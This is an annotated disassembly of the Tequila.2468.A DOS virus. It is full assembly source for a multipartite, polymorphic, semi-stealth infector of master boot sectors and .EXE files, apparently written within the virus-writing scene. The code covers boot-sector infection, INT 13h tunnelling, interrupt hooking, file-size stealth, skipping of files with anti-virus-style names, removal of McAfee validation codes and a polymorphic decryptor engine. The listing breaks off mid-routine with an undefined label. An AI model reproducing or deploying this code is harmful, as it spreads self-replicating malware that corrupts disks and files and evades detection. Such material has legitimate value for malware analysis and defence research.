; Tequila.2468.A (exact) disasm. ; Multipartite semi-stealth polymorphic MBS & .EXE-infector. ; Bugs marked with '***'. ; T-2000/IR, March 2000. .MODEL TINY .STACK 512 .CODE Virus_Size EQU (End_Body-START) Virus_Size_512 EQU ((End_Body-START)+511)/512 Virus_Size_1024 EQU ((End_Body-START)+1023)/1024 Virus_Size_Mem EQU ((End_Heap-START)+15)/16 START: Host_IP DW OFFSET Carrier Host_CS DW (256/16) Host_SS DW (256/16) Infect_Year DW 0 ; Year of MBS infection. Infect_MD DW 0 ; Month & day of MBS infection. Tunnel_Success DB 0 ; DOS' INT 13h found boolean. Word_16 DW 16 ; Used for MUL/DIV operations. Word_512 DW 512 Word_250 DW 250 Byte_12 DB 12 Message DB 0Dh, 0Ah, 0Dh, 0Ah DB 'Welcome to T.TEQUILA''s latest production.', 0Dh, 0Ah DB 'Contact T.TEQUILA/P.o.Box 543/6312 St''hausen/Switzerland.', 0Dh, 0Ah DB 'Loving thoughts to L.I.N.D.A', 0Dh, 0Ah, 0Dh, 0Ah DB 'BEER and TEQUILA forever !', 0Dh, 0Ah, 0Dh, 0Ah, '$' Hint DB 'Execute: mov ax, FE03 / int 21. Key to go on!' ; Tequila's activation routine, it's supposed to activate on the same day ; as the MBS infection took place, 3 or more months later, when it will ; draw a colorful mandelbrot set consisting out of ASCII characters, and ; display a message. Check_Activate: PUSH BP MOV BP, SP SUB SP, (6*2) ; Reserve 12 bytes on the ; stack. PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSH DS PUSH CS POP DS MOV AX, Infect_Year ; Year of MBS infection. INC AX ; Skip all further checks? JZ JMP_Exit_Act ; Yep. DEC AX ; We're in countdown mode? JNZ Check_Date ; Nope. DEC Infect_MD ; 3 program exits so far? JNZ JMP_Exit_Act ; Else bug out. JMP Init_Video_Seg ; Do the effect. Check_Date: MOV AH, 2Ah ; Get the current date. CALL Do_Old_Int21h MOV SI, CX ; SI = year count. MOV CX, Infect_MD CMP CL, DL ; Same day as infection? JNE Disable_Check MOV AX, SI ; AX = current year count. SUB AX, Infect_Year ; Minus the year count of ; MBS infection. MUL Byte_12 ; Calculate total count of ; months in year count. ADD AL, DH ; Plus current month. ; AL = amount of months since ; MBS infection took place. ADD CH, 3 ; Infection date + 3 months. CMP AL, CH ; 3 months have passed? JAE Enable_Call ; Then enable the payload. Disable_Check: MOV Infect_Year, -1 ; Don't check the date JMP JMP_Exit_Act ; anymore. Enable_Call: MOV Infect_Year, 0 ; Signal that the payload ; can activate and the 0FE03h ; call can be accepted. MOV Infect_MD, 3 ; Countdown timer, wait 3 ; program exits before ; activation. JMP_Exit_Act: JMP Exit_Activate Init_Video_Seg: MOV BX, 0B800h ; VGA video segment. INT 11h ; Get equipment status. AND AX, 0000000000110000b ; Mask out video state. CMP AX, 0000000000110000b ; 80x25 monochrome? JNE Set_Video_Seg MOV BX, 0B000h ; Monochrome video segment. Set_Video_Seg: MOV ES, BX ; I didn't bother commenting the effect as I don't have a clue of what the ; fuck it's doing. Besides, graphical payloads are for lamers anyways.... XOR BX, BX MOV DI, 0FD8Fh LOC_9: MOV SI, 0FC18h LOC_10: MOV [BP-(1*2)], SI MOV [BP-(2*2)], DI MOV CX, 30 LOCLOOP_11: MOV AX,[BP-(1*2)] IMUL AX ; dx:ax = reg * ax MOV [BP-(4*2)], AX MOV [BP-(3*2)], DX MOV AX, [BP-(2*2)] IMUL AX ; dx:ax = reg * ax MOV [BP-(6*2)], AX MOV [BP-(5*2)], DX ADD AX, [BP-(4*2)] ADC DX, [BP-(3*2)] CMP DX, 15 JAE LOC_12 MOV AX, [BP-(1*2)] IMUL WORD PTR [BP-(2*2)] ; dx:ax = data * ax IDIV Word_250 ; ax,dxrem=dx:ax/data ADD AX, DI MOV [BP-(2*2)], AX MOV AX, [BP-(4*2)] MOV DX, [BP-(3*2)] SUB AX, [BP-(6*2)] SBB DX, [BP-(5*2)] IDIV Word_512 ADD AX, SI MOV [BP-(1*2)], AX LOOP LOCLOOP_11 LOC_12: INC CX SHR CL, 1 MOV CH, CL MOV CL, 0DBh MOV ES:[BX], CX INC BX INC BX ADD SI, 18 CMP SI, 1B8h JL LOC_10 ADD DI, 52 CMP DI, 2A3h JL LOC_9 XOR DI, DI ; Display the hint on screen. MOV SI, OFFSET Hint MOV CX, (Check_Activate-Hint) CLD Write_Char: MOVSB ; Put a byte in video RAM. INC DI ; Don't change the attribute. LOOP Write_Char ; Do the entire string. XOR AX, AX ; Wait for a keypress. INT 16h Exit_Activate: POP DS POP ES POP DI POP SI POP DX POP CX POP BX POP AX MOV SP, BP POP BP RETN ; This displays Tequila's message. Display_Message: PUSH DX PUSH DS PUSH CS POP DS MOV AH, 09h ; Display string. MOV DX, OFFSET Message CALL Do_Old_Int21h POP DS POP DX RETN ; This get's inserted into MBS'ses. MBS_Loader: CLI XOR BX, BX ; Zero DS. MOV DS, BX MOV SS, BX ; Setup a stack. MOV SP, 7C00h STI XOR DI, DI ; Steal 3k of DOS memory to go resident into. SUB WORD PTR DS:[413h], Virus_Size_1024 INT 12h MOV CL, 6 ; Calculate segment to go SHL AX, CL ; resident into. MOV ES, AX ; Push relocated address. PUSH ES MOV AX, OFFSET Relocated_Boot PUSH AX ; Read the virusbody off disk. MOV AX, 0200h+Virus_Size_512 MOV CX, DS:[7C00h+(Home_ST-MBS_Loader)] INC CX MOV DX, DS:[7C00h+(Home_HD-MBS_Loader)] INT 13h RETF ; Jump to the relocated code. ID_Word DW 0FE02h ; Already-infected-tag. Home_ST DW 0 ; Sector/track of virusbody. Home_HD DW 0 ; Head/drive of virusbody. Relocated_Boot: PUSH CS POP DS XOR AX, AX ; Zero ES. MOV ES, AX MOV BX, 7C00h PUSH ES ; ES:BX = 0000:7C00, boot PUSH BX ; address. MOV AX, 0201h ; Read the original MBS from MOV CX, Home_ST ; disk. MOV DX, Home_HD INT 13h PUSH CS POP ES ; Create a copy of the INT 13h ISR, and the ; body encryptor & appender, as the virus will ; encrypt the runtime code when it infects a file ; so it doesn't have to use a seperate buffer. CLD MOV SI, OFFSET New_Int13h MOV DI, OFFSET New_Int13h_Copy MOV CX, (New_Int1Ch-New_Int13h) REP MOVSB MOV SI, OFFSET Append_Body_Encrypted MOV DI, OFFSET Append_Body_Encrypted_Copy MOV CX, (Decryptor-Append_Body_Encrypted) REP MOVSB CLI XOR AX, AX ; ES = IVT. MOV ES, AX LES BX, ES:[(1Ch*4)] ; Get INT 1Ch (timer). MOV Old_Int1Ch, BX ; Save INT 1Ch. MOV Old_Int1Ch+2, ES MOV ES, AX ; ES = IVT. LES BX, ES:[(21h*4)] ; Get INT 21h. MOV Old_Int21h, BX ; Save INT 21h aswell. MOV Old_Int21h+2, ES MOV ES, AX ; ES = IVT. ; Hook INT 1Ch. MOV ES:[(1Ch*4)], OFFSET New_Int1Ch MOV ES:[(1Ch*4)+2], DS STI RETF ; Jump to the original MBS. ; This is where the polymorphic decryptor jumps ; to after it's done decrypting the virusbody. Init_Virus: CALL Get_IP ; Calculate the virus' Get_IP: POP SI ; delta offset in this CS. SUB SI, OFFSET Get_IP PUSH SI ; Save some needed registers. PUSH AX PUSH ES PUSH CS POP DS MOV AX, ES ; AX = current PSP. ; Add the effective segment (PSP) to the segment values. ADD [SI+(Host_CS-START)], AX ADD [SI+(Host_SS-START)], AX DEC AX ; Get the host's MCB in ES. MOV ES, AX MOV AX, 0FE02h ; Virus' residency check. INT 21h CMP AX, NOT 0FE02h ; Virus is already installed? JE Run_Host ; Then just bail to the host. CMP BYTE PTR ES:[0], 'Z' ; Make sure this block is the JNE Run_Host ; last one in the chain, else ; higher blocks might get ; damaged. ; Make sure the memory block holds enough ; space to put the viruscode in. CMP WORD PTR ES:[3], Virus_Size_Mem JBE Run_Host MOV AX, ES:[12h] ; PSP:[2], holds TOM segment. SUB AX, Virus_Size_Mem ; Minus the virus' size to ; get the virus segment. MOV ES, AX ; Virus segment. XOR DI, DI ; Relocate the viruscode to MOV CX, Virus_Size ; the newly calculated CLD ; unused segment. REP MOVSB PUSH ES ; DS = virus segment. POP DS CALL Infect_MBS ; Infect the 1st MBS. Run_Host: POP ES ; Restore ES (PSP). POP AX ; Restore AX (FCB status). PUSH ES ; DS=ES=PSP. POP DS POP SI ; Restore virus delta offset. ; Restore the host's original SS. MOV SS, CS:[SI+(Host_SS-START)] ; And jump to the host's original entrypoint. JMP DWORD PTR CS:[SI+(Host_IP-START)] Infect_MBS: MOV AH, 2Ah ; Get the current date. INT 21h MOV Infect_Year, CX ; Store date of infection. MOV Infect_MD, DX MOV AH, 52h ; Get M$-DOS list of lists. INT 21h ; (undocumented). MOV AX, ES:[BX-2] ; Get segment of 1st MCB. MOV First_MCB, AX ; And save it for tunneler. MOV AX, 3513h ; Get INT 13h. INT 21h MOV Old_Int13h, BX ; Save INT 13h. MOV Old_Int13h+2, ES MOV AX, 3501h ; Get INT 01h. INT 21h MOV SI, BX ; Save INT 01h in DI:SI. MOV DI, ES MOV AX, 2501h ; Put in the tunneler. MOV DX, OFFSET New_Int01h INT 21h MOV Tunnel_Success, 0 ; Initialize as 'not found'. PUSHF ; Set the trapflag (TF). POP AX OR AX, 100h PUSH AX POPF MOV AX, 0201h ; Read the MBS of HD 1. MOV BX, OFFSET Buffer MOV CX, 1 MOV DX, 80h PUSH DS POP ES PUSHF ; Call INT 13h while tracing. CALL DWORD PTR Old_Int13h PUSHF ; Disable the TF incase POP AX ; INT 13h wasn't found. AND AX, NOT 100h PUSH AX POPF PUSHF MOV AX, 2501h ; Restore original INT 01h. MOV DX, SI MOV DS, DI INT 21h POPF ; Flags after the MBS read. JNC Check_MBS ; If error, then bail out. JMP Exit_Inf_MBS Check_MBS: PUSH ES ; ES = virus segment. POP DS ; Check if the MBS is already infected. CMP [BX+(ID_Word-MBS_Loader)], 0FE02h JNE Find_DOS_Part JMP Exit_Inf_MBS ; This locates a DOS partition. Find_DOS_Part: ADD BX, 1BEh ; BX = begin partition table. MOV CX, 4 ; Maximum of 4 partitions. Scan_Partition: MOV AL, [BX+4] ; Get the partition's system ; indicator. CMP AL, 4 ; DOS 16-bit FAT ? JE Store_Home CMP AL, 6 ; DOS > 32M ? JE Store_Home CMP AL, 1 ; DOS 12-bit FAT ? JE Store_Home ADD BX, 16 ; Next partition. LOOP Scan_Partition ; Loop to the next partition. JMP Exit_Inf_MBS ; None found. Store_Home: MOV DL, 80h ; First harddisk. MOV DH, [BX+5] ; Last head of DOS partition. MOV Home_HD, DX ; Store virus' home ; drive & head. MOV AX, [BX+6] ; Last sector & track of ; DOS partition. MOV CX, AX MOV SI, Virus_Size_512+1 ; Virus sectors + old MBS. AND AX, 0000000000111111b ; Strip track count to get ; the last track sector. CMP AX, SI ; There's enough space on JBE Exit_Inf_MBS ; this track for the virus? SUB CX, SI ; Steal needed sectors from ; the partition's last track. MOV DI, BX INC CX MOV Home_ST, CX MOV AX, 0301h ; Store the MBS on the stolen MOV BX, OFFSET Buffer ; partition sectors. PUSHF CALL DWORD PTR Old_Int13h JC Exit_Inf_MBS DEC CX ; Adjust the DOS partition MOV [DI+6], CX ; to have 6 sectors less. INC CX SUB [DI+12], SI ; Adjust the partition sector SBB WORD PTR [DI+12+2], 0 ; count aswell. ; Write the virusbody to the stolen sectors. MOV AX, 0300h+Virus_Size_512 MOV BX, 0 INC CX PUSHF ; INT 13h. CALL DWORD PTR Old_Int13h JC Exit_Inf_MBS ; Copy the virus MBS loader into the MBS. MOV SI, OFFSET MBS_Loader MOV DI, OFFSET Buffer MOV CX, (Relocated_Boot-MBS_Loader) CLD REP MOVSB MOV AX, 0301h ; Write the infected MBS MOV BX, OFFSET Buffer ; to disk. MOV CX, 1 XOR DH, DH PUSHF ; INT 13h. CALL DWORD PTR Old_Int13h Exit_Inf_MBS: RETN New_Int01h: PUSH BP ; Setup a stack pointer. MOV BP, SP CMP CS:Tunnel_Success, 1 ; Tunnel already finished? JE Clear_TF ; *** Pointless code, since ; the TF is already cleared. CMP [BP+(2*2)], 1234h ; We're in the DOS kernel? First_MCB = WORD PTR $-2 JA Exit_Int01h PUSH AX PUSH ES LES AX, [BP+(1*2)] ; Get instruction's CS:IP. MOV CS:Old_Int13h, AX ; Save it. MOV CS:Old_Int13h+2, ES MOV CS:Tunnel_Success, 1 ; Mark tunnel successful. POP ES POP AX Clear_TF: AND [BP+(3*2)], NOT 100h ; Disable the trapflag. Exit_Int01h: POP BP IRET New_Int13h: CMP CX, 1 ; Track 0, sector 1 ? JNE JMP_Old_Int13h CMP DX, 80h ; Head 0, of the 1st HD ? JNE JMP_Old_Int13h CMP AH, 03h ; Is it a sector write? JA JMP_Old_Int13h CMP AH, 02h ; Or a sector read? JB JMP_Old_Int13h PUSH CX PUSH DX DEC AL ; Only the MBS gets read? JZ Read_Orig_MBS PUSH AX PUSH BX ADD BX, 512 ; Next sector in buffer. INC CX ; Next sector. PUSHF ; Process the other sectors CALL DWORD PTR CS:Old_Int13h ; first, so the MBS action ; can be redirected to the ; clean one. POP BX POP AX Read_Orig_MBS: MOV AL, 1 ; Just the MBS. MOV CX, CS:Home_ST ; Load address of original MOV DX, CS:Home_HD ; MBS. PUSHF ; Read/write the original CALL DWORD PTR CS:Old_Int13h ; MBS. POP DX POP CX RETF 2 ; Return with flags. JMP_Old_Int13h: JMP DWORD PTR CS:Old_Int13h New_Int1Ch: PUSH AX PUSH BX PUSH ES PUSH DS XOR AX, AX ; ES = IVT. MOV ES, AX PUSH CS POP DS LES BX, ES:[(21h*4)] ; Get INT 21h. MOV AX, ES ; AX = segment of INT 21h. CMP AX, 800h ; Is it too high? JA Exit_Int1Ch ; Then assume DOS ain't ; loaded yet. CMP AX, Old_Int21h+2 ; Has the DOS segment JNE Save_Int21h ; changed since boot-up? CMP BX, Old_Int21h ; Has the DOS offset changed JE Exit_Int1Ch ; since boot-up? Save_Int21h: MOV Old_Int21h, BX ; Save INT 21h. MOV Old_Int21h+2, ES XOR AX, AX ; DS = IVT. MOV DS, AX LES BX, DWORD PTR CS:Old_Int1Ch MOV DS:[(1Ch*4)], BX ; Restore original INT 1Ch. MOV DS:[(1Ch*4)+2], ES LES BX, DS:[(13h*4)] ; Get INT 13h. MOV CS:Old_Int13h, BX ; Save INT 13h. MOV CS:Old_Int13h+2, ES ; Hook INT 13h. MOV DS:[(13h*4)], OFFSET New_Int13h_Copy MOV DS:[(13h*4)+2], CS ; Hook INT 21h. MOV DS:[(21h*4)], OFFSET New_Int21h MOV DS:[(21h*4)+2], CS Exit_Int1Ch: POP DS POP ES POP BX POP AX IRET New_Int21h: CMP AH, 11h ; Findfirst (FCB) ? JB Check_Dir_St CMP AH, 12h ; Findnext (FCB) ? JA Check_Dir_St CALL FCB_Stealth ; Carry-out the FCB stealth. RETF 2 ; Return with flags. Check_Dir_St: CMP AH, 4Eh ; Findfirst (dir) ? JB Check_TSR_Test CMP AH, 4Fh ; Findnext (dir) ? JA Check_TSR_Test CALL Dir_Stealth ; Carry-out the dir stealth. RETF 2 ; Return with flags. Check_TSR_Test: CMP AX, 0FE02h ; Virus' residency check? JNE Check_Message NOT AX ; Return TSR mark. IRET ; Return to the caller. Check_Message: CMP AX, 0FE03h ; Call to display message? JNE Check_Exec CMP CS:Infect_Year, 0 ; The date was correct? JNZ JMP_Old_Int21h ; Else just ignore the call. CALL Display_Message IRET Check_Exec: CMP AX, 4B00h ; Program execute? JE Init_Stack CMP AH, 4Ch ; Program terminate? JNE JMP_Old_Int21h Init_Stack: MOV CS:Old_SP, SP ; Save the current stack. MOV CS:Old_SS, SS CLI ; Setup own stack. PUSH CS POP SS MOV SP, OFFSET Validate_Header+128 STI CMP AH, 4Ch ; Was it program terminate? JNE Do_Infect_File CALL Check_Activate JMP Restore_Stack Do_Infect_File: CALL Infect_File Restore_Stack: CLI ; Restore the original stack. MOV SS, CS:Old_SS MOV SP, CS:Old_SP STI JMP $+2 ; *** Pointless instruction. JMP_Old_Int21h: INC CS:Int_Count ; Update random counter. JMP DWORD PTR CS:Old_Int21h New_Int24h: MOV AL, 03h ; Fail operation. IRET FCB_Stealth: PUSH BX PUSH ES PUSH AX MOV AH, 2Fh ; Get current DTA. CALL Do_Old_Int21h POP AX PUSHF ; Execute the call. CALL DWORD PTR CS:Old_Int21h PUSHF PUSH AX CMP AL, -1 ; Error? JE Exit_FCB_St ; Then get out. CMP ES:[BX.FCB_Drive], -1 ; Is it an extended FCB ? JNE Get_FCB_Time ADD BX, 7 ; Then skip extended stuff. Get_FCB_Time: MOV AL, BYTE PTR ES:[BX.FCB_Time] AND AL, 00011111b ; Mask-out seconds value. CMP AL, (62/2) ; File is infected? JNE Exit_FCB_St ; Restore the original filesize. SUB ES:[BX.FCB_Size], Virus_Size SBB ES:[BX.FCB_Size+2], 0 Exit_FCB_St: POP AX POPF POP ES POP BX RETN Dir_Stealth: PUSH BX PUSH ES PUSH AX MOV AH, 2Fh ; Get current DTA. CALL Do_Old_Int21h POP AX PUSHF ; Execute the call. CALL DWORD PTR CS:Old_Int21h PUSHF PUSH AX JC Exit_Dir_St ; Get out if error. MOV AL, BYTE PTR ES:[BX.Dir_Time] AND AL, 00011111b ; Mask-out seconds value. CMP AL, (62/2) ; File is infected? JNE Exit_Dir_St ; Restore original filesize. SUB ES:[BX.Dir_Size], Virus_Size SBB ES:[BX.Dir_Size+2], 0 Exit_Dir_St: POP AX POPF POP ES POP BX RETN Write_File: MOV AH, 40h ; Write to file. JMP Do_Read_Write Read_File: MOV AH, 3Fh ; Read from file. Do_Read_Write: CALL Load_BX_Int21h JC Exit_Re_Wr ; If error then exit with CF. SUB AX, CX ; Set's CF if not all bytes ; were read. Exit_Re_Wr: RETN Seek_EOF: XOR CX, CX ; Seeks to end of file. XOR DX, DX Seek_EOF_Rel: MOV AX, 4202h ; Seeks EOF relative. JMP Load_BX_Int21h Seek_BOF: XOR CX, CX ; Seeks to begin of file. XOR DX, DX MOV AX, 4200h Load_BX_Int21h: MOV BX, CS:File_Handle ; Load the filehandle. Do_Old_Int21h: CLI ; Do the DOS call. PUSHF CALL DWORD PTR CS:Old_Int21h RETN Infect_File: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSH DS CALL Check_File_Name ; Filename can't contain 'SC' JNC Init_Infect ; or a 'V'. JMP Exit_Infect Init_Infect: PUSH DX PUSH DS PUSH CS POP DS MOV AX, 3524h ; Get INT 24h. CALL Do_Old_Int21h MOV Old_Int24h, BX ; Save it. MOV Old_Int24h+2, ES MOV AX, 2524h ; Install own INT 24h. MOV DX, OFFSET New_Int24h CALL Do_Old_Int21h POP DS ; File path. POP DX MOV AX, 4300h ; Get file's attributes. CALL Do_Old_Int21h MOV CS:Old_Attr, CX ; Save attributes. JNC Blank_Attr DB 0E9h, 7Eh, 0 ; * JMP Restore_Int24h * Blank_Attr: MOV AX, 4301h ; Blank file attributes. XOR CX, CX CALL Do_Old_Int21h JC Restore_Int24h MOV AX, 3D02h ; Open the file read/write. CALL Do_Old_Int21h JC Restore_Attr PUSH DX PUSH DS PUSH CS POP DS MOV File_Handle, AX ; Save the filehandle. MOV AX, 5700h ; Get file's date & time. CALL Load_BX_Int21h JC Restore_Date MOV Old_File_Date, DX ; Save them. MOV Old_File_Time, CX CALL Seek_BOF ; Seek to the start of the ; file. *** file pointer is ; already at BOF. MOV DX, OFFSET Header ; Read the file's header. MOV CX, 28 ; *** Reading in more than CALL Read_File ; needed. JC Restore_Date PUSH DS POP ES MOV DI, OFFSET Check_Activate MOV CX, 32 CMP Header.EXE_ID, 'ZM' ; It's an .EXE-file? JNE Restore_Date ; If not, abort infect. MOV AX, Header.Checksum ; See if the checksum matches CLD ; a semi-random word in the REPNE SCASW ; viruscode. JNE Check_Validate OR Old_File_Time, (62/2) ; *** Infected files already ; have 62 seconds. JMP Restore_Date Check_Validate: CALL Remove_Validate ; Remove McAfee validation JC Restore_Date ; shit. CALL Add_Virus ; Add the virus to the file. Restore_Date: MOV AX, 5701h ; Restore file's date & time. MOV DX, Old_File_Date MOV CX, Old_File_Time CALL Load_BX_Int21h MOV AH, 3Eh ; Close the file. CALL Load_BX_Int21h POP DS ; File path. POP DX Restore_Attr: MOV AX, 4301h ; Restore file's original MOV CX, CS:Old_Attr ; attributes. CALL Do_Old_Int21h Restore_Int24h: MOV AX, 2524h ; Restore original INT 24h. LDS DX, DWORD PTR CS:Old_Int24h CALL Do_Old_Int21h Exit_Infect: POP DS POP ES POP DI POP SI POP DX POP CX POP BX POP AX RETN ; Returns CF when the filename holds 'SC' or a 'V', this includes most ; anti-virus programs, SCAN, TBSCAN, VIRSCAN, CPAV, NAV, IBMAV, etc. Check_File_Name: PUSH DS POP ES MOV DI, DX ; Find the end of the string. MOV CX, -1 XOR AL, AL CLD REPNE SCASB NOT CX ; CX = length of entire path. MOV DI, DX MOV AX, 'CS' ; 'SC'. MOV SI, CX Find_SCan: SCASW ; Found 'SC' ? JE Bad_File_Name ; Then bail. DEC DI ; We're doing bytes. LOOP Find_SCan MOV CX, SI ; Search for a 'V'. MOV DI, DX MOV AL, 'V' REPNE SCASB JE Bad_File_Name ; *** It would have been better if only the filename ; was searched instead of the entire path. Good_File_Name: CLC ; Filename is OK. RETN Bad_File_Name: STC ; Filename ain't OK! RETN ; Removes a possible McAfee validation code from the file. Remove_Validate: MOV CX, -1 ; Seek to the last 10 bytes. MOV DX, -10 CALL Seek_EOF_Rel MOV DX, OFFSET Validate_Header ; Read 8 from there. MOV CX, 8 CALL Read_File JC Exit_Remove_Va CMP Validate_Header, 0FDF0h ; Check for the signature. JNE Not_Protected CMP Validate_Header+2, 0AAC5h JNE Not_Protected MOV CX, -1 ; Seek to the last 9 bytes. MOV DX, -9 CALL Seek_EOF_Rel ; Trash signature. MOV DX, OFFSET Validate_Header+6 MOV CX, 4 CALL Write_File Exit_Remove_Va: RETN Not_Protected: CLC RETN Add_Virus: CALL Seek_EOF MOV SI, AX ; DI:SI = old filesize. MOV DI, DX MOV BX, OFFSET Header MOV AX, [BX.File_512_Pages] ; Calculate 512-byte pages MUL Word_512 ; of the file. SUB AX, SI ; Physical size exceeds image SBB DX, DI ; size? Then it's usually an JNC Calc_Hdr_Size ; overlay, so bug out. JMP Exit_Add_Virus Calc_Hdr_Size: MOV AX, [BX.Header_Size] ; Calculate headersize. MUL Word_16 SUB SI, AX ; DI:SI = imagesize. SBB DI, DX MOV AX, [BX.Program_SS] ; Save file's original SS. MOV Host_SS, AX ADD Host_SS, (256/16) ; Add PSP size. MUL Word_16 ; DX:AX = SS in bytes. ADD AX, [BX.Program_SP] ; Plus SP value. ; *** Missing a ADC DX, 0. SUB AX, SI ; Stack points inside the SBB DX, DI ; program image? JC Save_CS SUB AX, 128 ; Original program must have SBB DX, 0 ; atleast 128 bytes of stack. JC Exit_Add_Virus ; Else get out. ; Adjust the stack so the viruscode ; doesn't get overwritten. ADD [BX.Program_SS], (Virus_Size+15)/16 Save_CS: MOV AX, [BX.Program_CS] ; Old CS. ADD AX, (256/16) ; Add size of PSP. MOV Host_CS, AX ; Save CS. MOV AX, [BX.Program_IP] ; Save IP. MOV Host_IP, AX CALL Seek_EOF ADD AX, Virus_Size ; Calculate size after ADC DX, 0 ; infection. DIV Word_512 ; Calculate imagesize. INC AX ; Round upwards. ; Set new imagesize. MOV Header.File_512_Pages, AX MOV Header.Image_Mod_512, DX MOV DX, DI ; DI:SI = old imagesize. MOV AX, SI DIV Word_16 ; Calculate new CS:IP. MOV Header.Program_CS, AX ; Set new CS. MOV BX, DX ; BX = new IP. ADD DX, OFFSET Decryptor ; Set new IP. MOV Header.Program_IP, DX CALL Poly_Engine ; Add a polymorphic virus JC Exit_Add_Virus ; copy to the host. OR Old_File_Time, (62/2) ; Mark the file as infected ; by setting the second value ; to an invalid setting. MOV BX, Int_Count ; Random counter. AND BX, 00011111b ; 0 - 31. SHL BX, 1 ; MUL 2 (for word index). ; Put a semi-random word from the viruscode in the ; header's checksum field to mark the infection. MOV AX, [(Check_Activate-START)+BX] MOV Header.Checksum, AX CALL Seek_BOF MOV CX, 28 ; Write the updated header MOV DX, OFFSET Header ; to the target. CALL Write_File Exit_Add_Virus: RETN ; The decryptors being generated are quite simple, they are effectively ; enough against pure signature scanners, though can be found with a simple ; algorithmic approach. A pecularity is that the decryptors use themselves ; as a key, which drastically complicates debugging. Poly_Engine: PUSH BP XOR AH, AH ; Get BIOS tick count. INT 1Ah MOV AX, DX MOV BP, DX ; BP is used as a pointer to ; random data. PUSH DS POP ES MOV DI, OFFSET Decryptor ; Fill the decryptor area MOV SI, DI ; with a random word. MOV CX, (64/2) CLD REP STOSW XOR DX, DX ; Zero ES. MOV ES, DX CALL Make_Load_DS ; Construct the decryptor. CALL Make_Load_Ptr CALL Make_Decr_Loop MOV BYTE PTR [SI], 0E9h ; JMP 16-bit displacement. MOV DI, OFFSET Init_Virus ; Calculate displacement SUB DI, SI ; to Init_Virus. SUB DI, 3 INC SI MOV [SI], DI ; Set displacement. MOV AX, OFFSET Append_Body_Encrypted_Copy CALL AX POP BP RETN Make_Load_DS: DEC BP ; Adjust random pointer. ; *** Not needed as this is ; the first reference to it. TEST BYTE PTR ES:[BP], 00000010b ; Test a random bit. JNZ Make_Load_DS_2 Make_Load_DS_1: MOV BYTE PTR [SI], 0Eh ; PUSH CS INC SI CALL Add_Junk ; Add a garbage instruction. MOV BYTE PTR [SI], 1Fh ; POP DS INC SI CALL Add_Junk RETN Make_Load_DS_2: MOV [SI], 0CB8Ch ; MOV BX, CS INC SI INC SI CALL Add_Junk MOV [SI], 0DB8Eh ; MOV DS, BX INC SI INC SI CALL Add_Junk RETN Make_Load_Ptr: AND CH, 11111110b ; BX is start code. ; *** CX is already zero. DEC BP TEST BYTE PTR ES:[BP], 00000010b JZ Make_MOV_BX OR CH, 00000001b ; SI is start code. Make_MOV_SI: MOV BYTE PTR [SI], 0BEh ; MOV SI, xxxx INC SI MOV [SI], BX ; Start virus in CS or INC SI ; start decryptor in CS. INC SI CALL Add_Junk ADD BX, OFFSET Decryptor TEST CH, 00000001b ; BX is start code? JZ Make_Counter Make_MOV_BX: MOV BYTE PTR [SI], 0BBh ; MOV BX, xxxx INC SI MOV [SI], BX ; Start virus in CS or INC SI ; start decryptor in CS. INC SI CALL Add_Junk ADD BX, OFFSET Decryptor TEST CH, 00000001b ; BX is start code? JZ Make_MOV_SI ; Then use SI as start ; decryptor. Make_Counter: SUB BX, OFFSET Decryptor ; Restore BX to virus offset. CALL Add_Junk ; CX is always the counter register. MOV BYTE PTR [SI], 0B9h ; MOV CX, xxxx INC SI MOV AX, OFFSET Decryptor MOV [SI], AX ; Size of encrypted code. INC SI INC SI CALL Add_Junk CALL Add_Junk RETN Make_Decr_Loop: MOV AH, 14h ; DL, [SI] MOV DH, 17h ; DL, [BX] TEST CH, 00000001b ; BX is start of code? JZ Make_Load_Byte ; Yeah. XCHG AH, DH ; Else SI is. Make_Load_Byte: MOV DI, SI ; Save start decrypt in DI. MOV AL, 8Ah ; MOV reg8 MOV [SI], AX ; MOV DL, [SI]/[BX] INC SI INC SI CALL Add_Junk XOR DL, DL ; ADD BYTE PTR ; Initialize the encryptor. MOV BYTE PTR DS:[Append_Body_Encrypted_Copy+(Encryptor-Append_Body_Encrypted)], 28h ; SUB BYTE PTR DEC BP TEST BYTE PTR ES:[BP], 00000010b JZ Store_Decrypt MOV DL, 30h ; XOR BYTE PTR ; Initialize the encryptor. MOV BYTE PTR DS:[Append_Body_Encrypted_Copy+(Encryptor-Append_Body_Encrypted)], DL Store_Decrypt: MOV [SI], DX ; Store decrypt instruction. INC SI INC SI MOV [SI], 4346h ; INC SI / INC BX INC SI INC SI CALL Add_Junk MOV AX, 0FE81h ; CMP SI, xxxx MOV CL, 0BEh ; MOV SI, xxxx TEST CH, 00000001b ; BX is start of code? JZ Make_CMP_End ; Yip-yip. MOV AH, 0FBh ; CMP BX, xxxx MOV CL, 0BBh ; MOV BX, xxxx Make_CMP_End: MOV [SI], AX ; Make CMP end_decryptor. INC SI INC SI PUSH BX ADD BX, 64 ; Offset decryptor + fixed ; size of decryptor. MOV [SI], BX ; (end of decryptor). INC SI INC SI POP BX ; Start of code. MOV BYTE PTR [SI], 72h ; JB xx INC SI MOV DX, SI ; DX = displacement patch ; offset. INC SI CALL Add_Junk MOV [SI], CL ; MOV BX/SI, xxxx INC SI MOV [SI], BX ; Start decryptor. INC SI INC SI MOV AX, SI ; Calculate displacement SUB AX, DX ; between DX and SI. DEC AX MOV BX, DX ; JB displacement offset. MOV [BX], AL ; Patch it. CALL Add_Junk CALL Add_Junk MOV BYTE PTR [SI], 0E2h ; LOOP xx INC SI SUB DI, SI ; Displacement between here DEC DI ; and start decrypt loop. MOV AX, DI MOV [SI], AL ; Store displacement. INC SI CALL Add_Junk RETN Add_Junk: DEC BP TEST BYTE PTR ES:[BP], 00001111b JZ Exit_Add_Junk DEC BP MOV AL, ES:[BP] TEST AL, 00000010b JZ Junk_CMP TEST AL, 00000100b JZ Junk_TEST TEST AL, 00001000b JZ Junk_NOP MOV [SI], 0C789h ; MOV DI, AX INC SI INC SI JMP Exit_Add_Junk Junk_NOP: MOV BYTE PTR [SI], 90h ; NOP INC SI JMP Exit_Add_Junk Junk_TEST: MOV AL, 85h ; TEST r16 Make_Operand: DEC BP MOV AH, ES:[BP] TEST AH, 00000010b JZ Set_reg_reg DEC AL ; r16 -> r8. Set_reg_reg: OR AH, 11000000b ; reg/reg operation. MOV [SI], AX ; Store junk instruction. INC SI INC SI JMP Exit_Add_Junk Junk_CMP: DEC BP TEST BYTE PTR ES:[BP], 00000010b JZ Junk_CLD MOV AL, 39h ; CMP r16, r16 JMP Make_Operand 